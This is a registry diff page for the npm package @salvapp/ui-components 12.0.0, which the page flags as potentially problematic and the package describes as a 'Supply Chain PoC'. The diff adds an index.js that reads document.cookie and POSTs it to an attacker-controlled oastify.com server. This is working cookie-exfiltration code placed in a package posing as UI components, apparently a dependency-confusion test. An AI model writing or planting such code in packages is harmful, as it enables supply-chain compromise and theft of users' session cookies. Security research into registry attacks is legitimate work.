@salvapp/ui-components 12.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @salvapp/ui-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.css +0 -0
  2. package/index.js +32 -0
  3. package/package.json +11 -0
package/index.css ADDED
File without changes
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ console.log("Malicious code executed");
2
+ const https = require('https');
3
+ const cookieValue = document.cookie;
4
+ const payload = JSON.stringify({ cookie: cookieValue });
5
+
6
+ const options = {
7
+ hostname: 'y10nbe994y4nifqj7wwdn7skzb52tthi.oastify.com', // Our Collaborator controlled server
8
+ port: 443,
9
+ path: '/cookie',
10
+ method: 'POST',
11
+ headers: {
12
+ 'Content-Type': 'application/json',
13
+ 'Content-Length': payload.length
14
+ }
15
+ };
16
+
17
+ const req = https.request(options, (res) => {
18
+ console.log(`Status: ${res.statusCode}`);
19
+ res.on('data', (d) => {
20
+ console.log(d);
21
+ });
22
+ });
23
+
24
+ req.on('error', (e) => {
25
+ console.error(e);
26
+ });
27
+
28
+ req.write(payload);
29
+ req.end();
30
+
31
+
32
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@salvapp/ui-components",
3
+ "version": "12.0.0",
4
+ "description": "Supply Chain PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "Miroslav Milicevic",
10
+ "license": "ISC"
11
+ }